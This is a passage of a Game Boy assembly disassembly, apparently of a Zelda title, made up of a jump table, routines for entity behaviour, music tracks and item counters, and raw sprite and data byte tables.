JumpTable_4D09_03.JumpTable_4D13_03 ; BE dw JumpTable_4D09_03.JumpTable_4D13_03 ; BF dw JumpTable_4D09_03.JumpTable_4D13_03 ; C0 dw JumpTable_4B7E_03 ; C1 dw JumpTable_4B58_03 ; C2 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C3 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C4 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C5 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C6 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C7 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C8 dw JumpTable_4D09_03.JumpTable_4D13_03 ; C9 dw JumpTable_4D09_03.JumpTable_4D13_03 ; CA dw JumpTable_4D09_03.JumpTable_4D13_03 ; CB dw JumpTable_4D09_03.JumpTable_4D13_03 ; CC dw JumpTable_4D09_03.JumpTable_4D13_03 ; CD dw JumpTable_4D09_03.JumpTable_4D13_03 ; CE dw JumpTable_4D09_03.JumpTable_4D13_03 ; CF dw JumpTable_4D09_03.JumpTable_4D13_03 ; D0 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D1 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D2 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D3 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D4 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D5 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D6 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D7 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D8 dw JumpTable_4D09_03.JumpTable_4D13_03 ; D9 dw JumpTable_4D09_03.JumpTable_4D13_03 ; DA dw JumpTable_4F5F_03 ; DB dw JumpTable_4D09_03.JumpTable_4D13_03 ; DC dw JumpTable_4D09_03.JumpTable_4D13_03 ; DD dw JumpTable_4D09_03.JumpTable_4D13_03 ; DE dw JumpTable_4D09_03.JumpTable_4D13_03 ; DF dw JumpTable_4D09_03.JumpTable_4D13_03 ; E0 dw JumpTable_4D09_03.JumpTable_4D13_03 ; E1 dw JumpTable_4D09_03.JumpTable_4D13_03 ; E2 dw JumpTable_4D09_03.JumpTable_4D13_03 ; E3 dw JumpTable_4D09_03.JumpTable_4D13_03 ; E4 dw JumpTable_4BF8_03 ; E5 dw JumpTable_4BB7_03 ; E6 dw JumpTable_4D09_03.JumpTable_4D13_03 ; E7 dw JumpTable_4D09_03.JumpTable_4D13_03 ; E8 db $01, $04 JumpTable_4B4A_03: ld hl, $C460 add hl, bc ld e, [hl] ld d, b ld hl, $4B48 add hl, de ld a, [hl] jp toc_01_3B87 JumpTable_4B58_03: ld hl, $C210 add hl, bc ld a, [hl] sub a, $03 ld [hl], a ret JumpTable_4B61_03: call toc_01_088C ld [hl], $30 ret JumpTable_4B67_03: ld a, [$FFF6] cp $65 ret nz returnIfLt [$FFEC], $50 ld hl, $C2B0 add hl, bc inc [hl] ret JumpTable_4B77_03: ld hl, $C360 add hl, bc ld [hl], $02 ret JumpTable_4B7E_03: ld hl, $DB74 ld a, [$DB73] or [hl] jp nz, toc_01_3F7A.else_01_3FB7 ret JumpTable_4B89_03: ld hl, $C310 add hl, bc ld [hl], $10 call toc_01_27ED ld hl, $C3D0 add hl, bc ld [hl], a .JumpTable_4B97_03: ret JumpTable_4B98_03: call JumpTable_5032_03.JumpTable_503B_03 ld a, $02 jp toc_01_3B87 JumpTable_4BA0_03: ld a, $33 jr JumpTable_4BA4_03.toc_03_4BA6 JumpTable_4BA4_03: ld a, MUSIC_RICHARD_MANSION .toc_03_4BA6: ld e, a ld a, [$DB4E] and a ret z ld a, e .toc_03_4BAD: ld [$D368], a ld [hDefaultMusicTrack], a ld [$FFBD], a ld [hNextDefaultMusicTrack], a ret JumpTable_4BB7_03: clear [$D219] call toc_01_27D2 ret JumpTable_4BBF_03: ld a, $24 jr JumpTable_4BA4_03.toc_03_4BAD JumpTable_4BC3_03: ld a, $3A jr JumpTable_4BA4_03.toc_03_4BAD JumpTable_4BC7_03: clear [$C168] ld hl, $C210 add hl, bc ld a, [hl] sub a, $04 ld [hl], a ret JumpTable_4BD4_03: call toc_01_27ED jp toc_01_3B87 JumpTable_4BDA_03: call toc_01_0887 call toc_01_27ED and %00111111 add a, $10 ld [hl], a ret JumpTable_4BE6_03: ld hl, $C210 add hl, bc ld a, [hl] add a, $0A ld [hl], a ld hl, $C2C0 add hl, bc ld [hl], a ret JumpTable_4BF4_03: clear [hDefaultMusicTrack] ret JumpTable_4BF8_03: call JumpTable_4C06_03.else_03_4C24 ld a, [$FFEE] swap a and %00000001 add a, $04 jp toc_01_3B87 JumpTable_4C06_03: ld a, [$FFEE] swap a and %00000001 ld e, a ld a, [$FFEF] swap a inc a rla and %00000010 or e call toc_01_3B87 cp $01 jr nz, .else_03_4C24 ifZero [$DB4B], toc_01_3F7A.else_01_3FB7 .else_03_4C24: ld hl, $C310 add hl, bc ld [hl], $13 ret JumpTable_4C2B_03: ld hl, $C380 add hl, bc ld [hl], $02 call JumpTable_3B8D_00 call toc_01_0891 ld [hl], $20 .JumpTable_4C39_03: ret JumpTable_4C3A_03: ld a, [$FFF6] cp $D9 ld a, $32 jr nz, .else_03_4C44 ld a, $37 .else_03_4C44: jr JumpTable_4C46_03.toc_03_4C55 JumpTable_4C46_03: ld hl, $C310 add hl, bc ld [hl], $10 ifZero [$C5A9], toc_01_3F7A.else_01_3FB7 ld a, $0C .toc_03_4C55: call JumpTable_4BA4_03.toc_03_4BA6 ld de, $C220 ld hl, $C200 jp JumpTable_5032_03.toc_03_504A JumpTable_4C61_03: ifEq [$FFF6], $E2, .else_03_4C71 ifNe [$DB56], $80, .return_03_4C78 jp toc_01_3F7A.else_01_3FB7 .else_03_4C71: ifZero [$DB56], toc_01_3F7A.else_01_3FB7 .return_03_4C78: ret JumpTable_4C79_03: ld a, [$FFF8] rra jr JumpTable_4C7E_03.toc_03_4C80 JumpTable_4C7E_03: ld a, [$FFF8] .toc_03_4C80: and %00010000 jp nz, toc_01_3F7A.else_01_3FB7 ret JumpTable_4C86_03: ifLt [$FFF6], $C0, .else_03_4CA9 _ifNotZero [$DB74], toc_01_3F7A.else_01_3FB7 ifZero [$DB73], toc_01_3F7A.else_01_3FB7 inc a ld [$C3C8], a assign [hNextMusicTrackToFadeInto], MUSIC_MARIN_SINGING ld [hDefaultMusicTrack], a ld [$FFBD], a call toc_01_27CA .else_03_4CA9: ifNotZero [DEBUG_TOOL1], JumpTable_4CEC_03 _ifZero [$DB4F], JumpTable_4CEC_03 _ifZero [$DB50], .else_03_4CC4 ld [wGameplaySubtype], a assign [wGameMode], GAMEMODE_CREDITS ret .else_03_4CC4: ld hl, $C3A0 add hl, bc ld [hl], $6B ret JumpTable_4CCB_03: ifEq [$DB56], $80, .return_03_4CD7 assign [$D368], $0E .return_03_4CD7: ret JumpTable_4CD8_03: _ifZero [$DBA5], JumpTable_4CEC_03 ld a, [$D477] and a ret nz ld hl, $C210 add hl, bc ld a, [hl] sub a, $10 ld [hl], a ret JumpTable_4CEC_03: ld hl, $C380 add hl, bc ld [hl], $03 .JumpTable_4CF2_03: _ifZero [$DB44], .else_03_4CFD ld a, $1C call JumpTable_4BA4_03.toc_03_4BAD .else_03_4CFD: jr JumpTable_4D00_03.toc_03_4D05 JumpTable_4CFF_03: ret JumpTable_4D00_03: ld a, $07 call JumpTable_4BA4_03.toc_03_4BA6 .toc_03_4D05: ld a, $01 jr JumpTable_4D09_03.toc_03_4D0E JumpTable_4D09_03: call toc_01_27ED and %00000011 .toc_03_4D0E: ld hl, $C380 add hl, bc ld [hl], a .JumpTable_4D13_03: ret JumpTable_4D14_03: assign [gbIE], IE_LCDC | IE_VBLANK ret JumpTable_4D19_03: ld a, $FF jp toc_01_3B87 JumpTable_4D1E_03: inc [hl] nop inc [hl] jr nz, toc_03_4D57 db $10 inc [hl] jr nc, @-$31 sub a, c ld [$2628], sp ld a, [hFrameCounter] rra rra rra and %00000001 ld [$FFF1], a ld de, $4D1E call toc_01_3C3B ld hl, $C3B0 add hl, bc ld a, [hl] ld [$FFF1], a call toc_01_393D call toc_03_7F4A.toc_03_7F50 call toc_03_7F6C call toc_03_60CC.toc_03_60D5 call toc_01_3DAF ret toc_03_4D51: ifEq [$FFEB], $1F, else_03_4D66 toc_03_4D57: ld hl, $C3A0 add hl, bc ld [hl], $1E ld hl, $C280 add hl, bc ld [hl], $05 jp toc_03_48B0.toc_03_48C0 else_03_4D66: ld hl, $C480 add hl, bc ld [hl], $1F ld hl, $C280 add hl, bc ld [hl], $01 ld hl, $C340 add hl, bc ld [hl], $04 ld hl, $FFF4 ld [hl], $13 ret db $00, $00, $04, $00, $00, $01, $03, $06 db $24, $00, $24, $00, $3E, $00, $1E, $00 db $1E, $60 JumpTable_4D90_03: call toc_01_0891 jr nz, .else_03_4DBB ld hl, $C430 add hl, bc ld a, [hl] and %00000010 jr nz, .else_03_4DA3 ld hl, $D460 ld [hl], $01 .else_03_4DA3: ifEq [$FFEB], $A8, .else_03_4DB8 assign [$DB6F], $16 assign [$DB70], $50 assign [$DB71], $27 .else_03_4DB8: jp toc_01_3F7A.else_01_3FB7 .else_03_4DBB: cp $40 jr c, .else_03_4DDD ifNe [$FFEB], $09, .else_03_4DCD cp $0B jr z, .else_03_4DCD cp $14 jr nz, .else_03_4DD6 .else_03_4DCD: call toc_03_5897.toc_03_5958 call toc_03_5897.toc_03_5958 call toc_03_5897.toc_03_5958 .else_03_4DD6: call toc_01_393D call toc_03_7F4A.toc_03_7F50 ret .else_03_4DDD: rra rra rra rra and %00000011 ld hl, $C3B0 add hl, bc ld [hl], a ld [$FFF1], a ld e, a ld d, b ld hl, $4D7E add hl, de ld a, [$FFEC] add a, [hl] ld [$FFEC], a ld a, e cp $03 jr nz, .else_03_4E05 clear [$FFF1] ld de, $4D8C call toc_01_3C3B jr .toc_03_4E0B .else_03_4E05: ld de, $4D86 call toc_01_3CD0 .toc_03_4E0B: call toc_03_7F4A.toc_03_7F50 call toc_01_0891 cp $3F jr nz, .else_03_4E1A ld hl, $FFF2 ld [hl], $18 .else_03_4E1A: rra rra rra rra and %00000011 ld e, a ld d, b ld hl, $4D82 add hl, de ld e, [hl] ld a, [hLinkPositionX] push af ld hl, $C4B0 add hl, bc ld a, [hl] ld [hLinkPositionX], a ld a, [hLinkPositionY] push af ld hl, $C4C0 add hl, bc ld a, [hl] ld [hLinkPositionY], a ld a, e call toc_03_7E99 pop af ld [hLinkPositionY], a pop af ld [hLinkPositionX], a call toc_03_7EF7 ret JumpTable_4E49_03: call toc_01_393D call toc_03_7F4A.toc_03_7F50 ld hl, $C410 add hl, bc ld [hl], $02 call toc_03_60CC.toc_03_60D5 ld hl, $C410 add hl, bc ld [hl], b call toc_03_6723 call toc_03_5497 ifEq [$FFEB], $5C, .else_03_4E87 ld hl, $C2A0 add hl, bc ld a, [hl] and a jr z, .else_03_4E87 ld hl, $C420 add hl, bc ld [hl], $20 ld hl, $FFF3 ld [hl], $07 ld hl, $C440 add hl, bc ld a, [hl] inc a ld [hl], a cp $03 jr z, .else_03_4EA4 .else_03_4E87: assign [$C19E], $0B call toc_03_75A6 ld hl, $C240 add hl, bc ld a, [hl] ld hl, $C250 add hl, bc or [hl] jr nz, .return_03_4EB9 call JumpTable_7059_03.toc_03_726B ifEq [$FFEB], $5C, .return_03_4EB9 .else_03_4EA4: ld hl, $C280 add hl, bc ld [hl], $05 call JumpTable_3B8D_00 ld [hl], $01 call toc_01_0891 ld [hl], $80 ld hl, $C2D0 add hl, bc ld [hl], b .return_03_4EB9: ret db $10, $F0 JumpTable_4EBC_03: call toc_01_393D call toc_03_7F4A.toc_03_7F50 call toc_03_7F6C call toc_03_60CC.toc_03_60D5 call toc_01_3DAF call toc_03_6E3D.toc_03_6E40 ifEq [$DB00], $03, .else_03_4EDD ld a, [$FFCC] and %00100000 jr nz, .else_03_4EEA jr .else_03_4F27 .else_03_4EDD: ifEq [$DB01], $03, .else_03_4F27 ld a, [$FFCC] and %00010000 jr z, .else_03_4F27 .else_03_4EEA: _ifZero [$C3CF], .else_03_4F27 ld hl, $C340 add hl, bc ld a, [hl] push hl push af or %10000000 ld [hl], a call toc_03_6C87.toc_03_6C8E rl e .JumpTable_4EFF_03: pop af pop hl ld [hl], a rr e jr nc, .else_03_4F27 assign [$C3CF], $01 ld hl, $C280 add hl, bc ld [hl], $07 assign [$FFF3], $02 ld hl, $C490 add hl, bc ld [hl], b call toc_01_0891 ld [hl], $02 copyFromTo [hLinkDirection], [$C15D] jp JumpTable_5792_03 .else_03_4F27: ld hl, $C300 add hl, bc ld a, [hl] and a jr nz, .else_03_4F3A ld hl, $C280 add hl, bc ld [hl], $05 ld hl, $C320 add hl, bc ld [hl], b .else_03_4F3A: cp $3C jr nc, .return_03_4F56 srl a srl a and %00000001 ld e, a ld d, b ld hl, $4EBA add hl, de ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a call toc_03_7F04 call toc_01_3DAF .return_03_4F56: ret db $0C, $0C, $F4, $F4, $0C, $F4, $0C, $F4 JumpTable_4F5F_03: call toc_01_27ED and %00000011 ld e, a ld d, b ld hl, $4F57 add hl, de ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a ld hl, $4F5B add hl, de ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a ret JumpTable_4F7B_03: ld hl, $C2C0 add hl, bc ld [hl], $04 ld a, $03 jr JumpTable_4F85_03.toc_03_4F87 JumpTable_4F85_03: ld a, $FD .toc_03_4F87: ld hl, $C210 add hl, bc add a, [hl] ld [hl], a ret JumpTable_4F8E_03: call toc_01_0891 ld [hl], $80 ld hl, $C3B0 add hl, bc dec [hl] ret JumpTable_4F99_03: ld a, [$FFEE] and %00010000 ld a, $00 jr nz, .else_03_4FA3 ld a, $03 .else_03_4FA3: ld hl, $C380 add hl, bc ld [hl], a push hl call toc_03_5897.toc_03_5958 pop hl ld a, [hl] xor %00000001 ld [hl], a ret JumpTable_4FB2_03: ld hl, $C2D0 add hl, bc ld [hl], $02 ifNe [$FFF6], $A4, .else_03_4FC2 cp $D2 jr nz, .else_03_4FC6 .else_03_4FC2: dec [hl] call JumpTable_5032_03.JumpTable_503B_03 .else_03_4FC6: call toc_03_4FCA.else_03_4FDC ret toc_03_4FCA: ld hl, $C2D0 add hl, bc ld [hl], $01 ifNotZero [$DBA5], .else_03_4FDC .JumpTable_4FD6_03: ld hl, $C2D0 add hl, bc ld [hl], $02 .else_03_4FDC: ld hl, $C430 add hl, bc ld a, [hl] or %00010001 ld [hl], a ret JumpTable_4FE5_03: ifEq [$FFF6], $F8, .else_03_4FFC ld a, [$FFF8] bit 4, a jp nz, toc_01_3F7A.else_01_3FB7 bit 5, a jp z, toc_01_3F7A.else_01_3FB7 ld a, $02 jp toc_01_3B87 .else_03_4FFC: cp $7A jr nz, .else_03_500C ld a, [$FFF8] and %00010000 jp nz, toc_01_3F7A.else_01_3FB7 ld a, $04 jp toc_01_3B87 .else_03_500C: cp $7C jr nz, .return_03_501F ld a, [$D969] and %00010000 jp z, toc_01_3F7A.else_01_3FB7 ld a, [$FFF8] and %00010000 jp nz, toc_01_3F7A.else_01_3FB7 .return_03_501F: ret JumpTable_5020_03: ifNe [$DB0E], $0E, JumpTable_5032_03.JumpTable_503B_03 ret JumpTable_5028_03: ld a, [$DBA5] and a ret z call JumpTable_3B8D_00 jr JumpTable_5032_03.JumpTable_503B_03 JumpTable_5032_03: call toc_03_4FCA _ifZero [$DBA5], toc_03_5061 .JumpTable_503B_03: ld de, $C220 ld hl, $C200 call .toc_03_504A ld de, $C230 ld hl, $C210 .toc_03_504A: add hl, bc ld a, [hl] add a, $08 ld [hl], a rla push de pop hl add hl, bc rra ld a, [hl] adc $00 ld [hl], a ret JumpTable_5059_03: ld de, $C220 ld hl, $C200 jr JumpTable_5032_03.toc_03_504A toc_03_5061: call toc_01_0887 ld [hl], $80 ret JumpTable_5067_03: call toc_01_088C ld [hl], $A0 ret JumpTable_506D_03: ifEq [$FFEB], $12, .else_03_5080 ld hl, $C2D0 add hl, bc ld [hl], $01 ld hl, $C310 add hl, bc ld [hl], $10 ret .else_03_5080: call JumpTable_3B8D_00 ret db $60, $00, $62, $00, $62, $20, $60, $20 db $64, $00, $66, $00, $66, $20, $64, $20 db $68, $00, $6A, $00, $6C, $00, $6E, $00 db $6A, $20, $68, $20, $6E, $20 JumpTable_50A2_03: ld l, h jr nz, toc_03_5115 nop ld [hl], d nop ld [hl], d jr nz, toc_03_5115.toc_03_511B jr nz, .else_03_50B9 db $F4 nop nop nop nop db $F4 inc c ld hl, $C2C0 add hl, bc ld a, [hl] .else_03_50B9: and a jr z, .else_03_5102 ld de, $50A4 call toc_01_3C3B call toc_03_7F4A call toc_03_7F6C call toc_03_6E3D call toc_03_7EF7 call toc_03_7892 call toc_01_0891 jr nz, .else_03_50F6 call toc_01_27ED and %00011111 add a, $20 ld [hl], a and %00000011 ld e, a ld d, b ld hl, $50AC add hl, de ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a ld hl, $50B0 add hl, de ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a .else_03_50F6: ld a, [hFrameCounter] rra rra rra rra and %00000001 call toc_01_3B87 ret .else_03_5102: ld de, $5084 call toc_03_5897 ret db $62, $70, $63, $71, $03, $04, $05, $06 db $07, $08, $09, $0A toc_03_5115: dec bc inc c ld [bc], a ld bc, $0000 .toc_03_511B: nop nop ld bc, $1432 ld h, h ret z db $F4 .JumpTable_5123_03: assign [$C111], $2A assign [$FFF4], $04 ld de, $5109 ld b, $A1 call JumpTable_520D_03.else_03_5256 ld hl, $C210 add hl, bc ld a, [hl] sub a, $08 ld [hl], a ld hl, $C250 add hl, bc ld [hl], $FC ld hl, $C3B0 add hl, bc ld a, [hl] ld [$FFE8], a ld d, b cp $11 jr nz, .else_03_515A push af ld a, [$C501] ld e, a ld hl, $C2F0 add hl, de ld [hl], $38 pop af .else_03_515A: ld e, a cp $21 jp nc, .else_03_51D8 cp $20 jr nz, .else_03_5167 jp JumpTable_638D_03.toc_03_6392 .else_03_5167: cp $1B jr c, toc_03_5115.else_03_5186 cp $20 jr nc, toc_03_5115.else_03_5186 ld hl, $5103 add hl, de ld a, [hl] ld [$DB90], a ld hl, $50FE add hl, de ld a, [hl] ld [$DB8F], a assign [$C3CE], $18 jr toc_03_5115.else_03_51D8 .else_03_5186: cp $16 jr c, toc_03_5115.else_03_519D cp $1B jr nc, toc_03_5115.else_03_519D sub a, $16 ld e, a ld d, $00 ld hl, $DBCC add hl, de inc [hl] call toc_01_27E2 jr toc_03_5115.else_03_51D8 .else_03_519D: cp $0C jr nc, toc_03_5115.else_03_51D3 ifEq [$FFE8], $01, toc_03_5115.else_03_51AB incAddr $DB44 .else_03_51AB: cp $00 jr nz, toc_03_5115.else_03_51BA ifNe [$DB43], $02, toc_03_5115.else_03_51BA incAddr $DB43 .else_03_51BA: ifEq [$FFE8], $0A, toc_03_5115.else_03_51C8 ld hl, $DB4D ld a, [hl] add a, $01 daa ld [hl], a .else_03_51C8: ld d, b ld hl, $510D add hl, de ld d, [hl] call JumpTable_6472_03.toc_03_6497 jr toc_03_5115.else_03_51D8 .else_03_51D3: ld hl, $DB00 add hl, de inc [hl] .else_03_51D8: call toc_03_51E2 ld a, [hl] or %00010000 ld [hl], a ld [$FFF8], a ret toc_03_51E2: ld a, [$DBA5] ld d, a ld hl, $D800 ld a, [$FFF6] ld e, a ifGte [$FFF7], $1A, .else_03_51F7 cp $06 jr c, .else_03_51F7 inc d .else_03_51F7: add hl, de ret db $6A, $7A, $6B, $7B, $10, $12, $11, $13 db $F8, $F9, $FA, $FB, $0E, $1E, $0F, $1F db $68, $77, $69, $4B JumpTable_520D_03: call toc_03_7ED0 ld d, $00 ld hl, $52B6 add hl, de ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a ld hl, $52BA add hl, de ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a call toc_03_52BE call toc_03_7892 ld hl, $C2A0 add hl, bc ld a, [hl] and a jr z, .else_03_5237 jp toc_01_3F7A.else_01_3FB7 .else_03_5237: assign [$FFF4], $11 ld de, $5209 ld b, $C6 ifNotZero [$DBA5], .else_03_5256 ld de, $51FD ld b, $0D ifEq [$FFF6], $C7, .else_03_5256 ld de, $51F9 ld b, $BE .else_03_5256: push de ld a, b push af ld b, $00 ld a, [$FFEF] sub a, $0F ld [hSwordIntersectedAreaY], a ld a, [$FFEE] sub a, $07 ld [hSwordIntersectedAreaX], a swap a and %00001111 ld e, a ld a, [hSwordIntersectedAreaY] and %11110000 or e ld e, a ld d, $00 ld hl, $D711 add hl, de pop af ld [hl], a call toc_01_2839 ld a, [$D600] ld e, a ld d, $00 ld hl, $D601 add hl, de add a, $0A ld [$D600], a pop de ld a, [$FFCF] ldi [hl], a ld a, [$FFD0] ldi [hl], a ld a, $81 ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [$FFCF] ldi [hl], a ld a, [$FFD0] inc a ldi [hl], a ld a, $81 ldi [hl], a ld a, [de] inc de ldi [hl], a ld a, [de] ldi [hl], a xor a ld [hl], a ret db $6E, $00, $6E, $20, $F8, $10, $FA, $10 db $F8, $08, $00, $00, $00, $00, $08, $F8 toc_03_52BE: copyFromTo [$DBA5], [$FFF1] ld de, $52AE call toc_01_3C3B call toc_03_7F4A call toc_03_7EF7 call toc_03_5343 call toc_03_6C87.toc_03_6C93 jr nc, .else_03_52DF call toc_01_094A assign [$C144], $03 .else_03_52DF: ifNe [$FFF6], $C7, .else_03_52EB _ifZero [$DBA5], .else_03_52EF .else_03_52EB: assign [hLinkInteractiveMotionBlocked], INTERACTIVE_MOTION_LOCKED_TALKING .else_03_52EF: ld hl, $C3D0 add hl, bc ld a, [hl] inc a ld [hl], a cp $21 jr nz, .return_03_5342 ld hl, $C410 add hl, bc ld [hl], a call toc_03_7892 ld hl, $C280 add hl, bc ld a, [hl] and a jr z, .return_03_5342 cp $02 jr z, .return_03_5342 call toc_01_3F7A.else_01_3FB7 ld de, $5205 ld b, $C4 ifNotZero [$DBA5], .else_03_5321 ld de, $5201 ld b, $A6 .else_03_5321: call JumpTable_520D_03.else_03_5256 ld a, [$C18E] and %00011111 cp $02 jr z, .else_03_533F cp $07 jr nz, .return_03_5342 call toc_03_7892 ifNe [$C503], $A7, .else_03_533F cp $A6 jr nz, .return_03_5342 .else_03_533F: call toc_01_08EC .return_03_5342: ret toc_03_5343: ld e, $0F ld d, b .loop_03_5346: ld hl, $C280 add hl, de ld a, [hl] cp $05 jr c, .else_03_538D ld hl, $C340 add hl, de ld a, [hl] and %01000000 jr nz, .else_03_538D ld hl, $C200 add hl, de ld a, [$FFEE] sub a, [hl] add a, $0C cp $18 jr nc, .else_03_538D ld hl, $C210 add hl, de ld a, [hl] ld hl, $C310 add hl, de sub a, [hl] ld hl, $FFEC sub a, [hl] add a, $0C cp $18 jr nc, .else_03_538D ld hl, $C340 add hl, de ld a, [hl] and %00100000 jr nz, .else_03_538D push bc push de pop bc push de ld a, $08 call toc_03_6F82.else_03_6FE1 pop de pop bc .else_03_538D: dec e ld a, e cp $FF jp nz, .loop_03_5346 ret db $16, $00, $79, $EA, $0C, $C5, $CD, $8C db $08, $E0, $D7, $CA, $10, $54, $FE, $01 db $20, $5D, $21, $90, $C3, $09, $7E, $A7 db $28, $29, $CD, $ED, $27, $E6, $03, $20 db $22, $3E, $2F, $CD, $F8, $64, $38, $1B db $F0, $D7, $21, $00, $C2, $19, $77, $F0 db $D8, $21, $10, $C2, $19, $77, $F0, $DA db $21, $10, $C3, $19, $77, $21, $50, $C4 db $19, $36, $80, $F0, $F1, $A7, $20, $24 db $F0, $F7, $FE, $1E, $28, $04, $FE, $10 db $20, $1A, $FA, $73, $DB, $A7, $28, $14 db $CD, $ED, $27, $E6, $3F, $20, $08, $3E db $28, $CD, $97, $21, $C3, $B7, $3F, $3E db $99, $CD, $85, $21, $C3, $B7, $3F, $CD db $F6, $37, $C9, $F0, $10, $F2, $10, $F4 db $10, $F6, $10, $11, $08, $54, $CD, $3B db $3C, $CD, $4A, $7F, $3E, $0B, $EA, $9E db $C1, $CD, $A6, $75, $CD, $D5, $60, $21 db $80, $C2, $09, $7E, $FE, $02, $CA, $63 db $54, $21, $10, $C3, $09, $7E, $A7, $28 db $0B, $21, $A0, $C2, $09, $7E, $A7, $28 db $25, $CD, $97, $54 toc_03_5441: ld hl, $FFF4 ld [hl], $05 ld e, $1F ifNe [$FFF1], $FF, .else_03_5456 cp $01 jr z, .else_03_5456 ld [hl], $09 ld e, $0F .else_03_5456: ld hl, $C2F0 add hl, bc ld [hl], e ld hl, $C340 add hl, bc ld a, [hl] add a, $02 ld [hl], a ret toc_03_5464: ld a, $05 call toc_03_64F8 jr c, .return_03_5496 ld a, [$FFD7] ld hl, $C200 add hl, de ld [hl], a ld a, [$FFD8] ld hl, $FFDA sub a, [hl] ld hl, $C210 add hl, de ld [hl], a ld hl, $C3B0 add hl, de ld [hl], $00 ld hl, $C2F0 add hl, de ld [hl], $0F ld hl, $C340 add hl, de ld [hl], $C4 assign [$FFF4], $09 call toc_01_3F7A.else_01_3FB7 .return_03_5496: ret toc_03_5497: ld hl, $C2A0 add hl, bc ld a, [hl] and a jr z, .return_03_54E5 ld a, [$C18E] and %00011111 cp $0D jr nz, .else_03_54C8 ifNe [$C503], $A0, .else_03_54B6 ifEq [$C50D], $A0, .return_03_54E5 .else_03_54B6: assign [hSwordIntersectedAreaX], $30 assign [hSwordIntersectedAreaY], $20 assign [$FFDF], $19 call toc_01_3E7D jp toc_01_08EC .else_03_54C8: cp $0B jr nz, .return_03_54E5 ifLt [$C50D], $35, .return_03_54E5 cp $3D jr c, .else_03_54E2 ifLt [$C503], $35, .return_03_54E5 cp $3D jr nc, .return_03_54E5 .else_03_54E2: call toc_01_08EC .return_03_54E5: ret db $32, $00, $32, $60, $30, $00, $30, $60 db $00, $00, $3C, $00, $00, $08, $3C, $20 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $00, $00, $3A, $00, $00, $08, $3A, $20 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FA, $FA, $3A, $00, $FA, $02, $3A, $20 db $06, $06, $3A, $00, $06, $0E, $3A, $20 db $04, $FC, $30, $00, $04, $04, $30, $20 db $FC, $04, $30, $00, $FC, $0C, $30, $20 db $00, $00, $3A, $00, $00, $08, $3A, $20 db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $F8, $F8, $3A, $00, $F8, $00, $3A, $20 db $08, $08, $3A, $00, $08, $10, $3A, $20 db $08, $F8, $3A, $00, $08, $00, $3A, $20 db $F8, $08, $3A, $00, $F8, $10, $3A, $20 db $F8, $F8, $10, $00, $F8, $00, $12, $00 db $F8, $08, $12, $20, $F8, $10, $10, $20 db $08, $F8, $10, $40, $08, $00, $12, $40 db $08, $08, $12, $60, $08, $10, $10, $60 JumpTable_557E_03: ld hl, $C430 add hl, bc ld a, [hl] and %10000000 jr z, .else_03_558A jp JumpTable_3945_00 .else_03_558A: ld hl, $C480 add hl, bc ld a, [hl] and a jp z, toc_01_3F7A push af ld hl, $C4A0 add hl, bc ld a, [hl] ld hl, $54EE and a jr z, .else_03_55A2 ld hl, $552E .else_03_55A2: pop af cp $20 jr nc, .else_03_55D5 rla and %00110000 ld e, a ld d, b add hl, de cp $30 jr nz, .else_03_55BB push hl ld hl, $C4A0 add hl, bc ld a, [hl] pop hl and a jr nz, .else_03_55C2 .else_03_55BB: ld c, $04 call toc_01_3D26 jr .toc_03_55CE .else_03_55C2: ld c, $08 call toc_01_3D26 ld a, $04 call toc_01_3DD0 jr .toc_03_55CE .toc_03_55CE: call toc_03_7F4A call toc_03_7F6C ret .else_03_55D5: call toc_01_393D call toc_03_7F4A.toc_03_7F50 ld hl, $C410 add hl, bc ld a, [hl] and a jr nz, .else_03_55F9 ld hl, $C480 add hl, bc ld [hl], $1F ifEq [$D47C], $01, .else_03_55F4 assign [$FFF3], $12 .else_03_55F4: ld hl, $FFF4 ld [hl], $13 .else_03_55F9: call toc_03_7F6C ret db $2E, $2E, $2D, $2D, $37, $2D, $FF, $FF db $2F, $37, $38, $2E, $2F, $2F, $03, $01 db $01, $00, $03, $03, $03, $03, $01, $00 db $00, $00, $03, $00, $01, $01, $01, $00 db $01, $01, $01, $01, $01, $00, $00, $00 db $01, $00, $2E, $2D, $38, $2F, $2E, $2D db $38, $37 toc_03_562F: ifEq [$FFEB], $23, .else_03_5642 ld hl, $C2B0 add hl, bc ld a, [hl] and a jr z, .else_03_5642 ld a, $31 jp .else_03_56D0 .else_03_5642: ld hl, $C4E0 add hl, bc ld a, [hl] cp $FF ret z and a jp nz, .else_03_56D0 ld a, [$D471] inc a ld [$D471], a cp $0C jr c, .else_03_566F clear [$D471] ld a, [$C1BE] ld hl, $D47C or [hl] ld hl, $FFF9 or [hl] jr nz, .else_03_566F ld a, $34 jp .else_03_56D0 .else_03_566F: ld hl, $C4D0 add hl, bc ld d, b ld e, [hl] ld hl, $487F add hl, de ld a, [hl] and a ret z ld e, a ld d, $1E ifLt [$DB5B], $07, .else_03_568E ld d, $23 cp $0B jr c, .else_03_568E ld d, $28 .else_03_568E: incAddr $D415 ld a, [hl] cp d jr c, .else_03_56A8 ld [hl], b ld a, [$C1BE] ld hl, $FFF9 or [hl] ld hl, $D47C or [hl] jr nz, .else_03_56A8 ld a, $33 jr .else_03_56D0 .else_03_56A8: ld d, b ld hl, $560A ifNotZero [$C163], .else_03_56B5 ld hl, $5618 .else_03_56B5: add hl, de call toc_01_27ED and [hl] ret 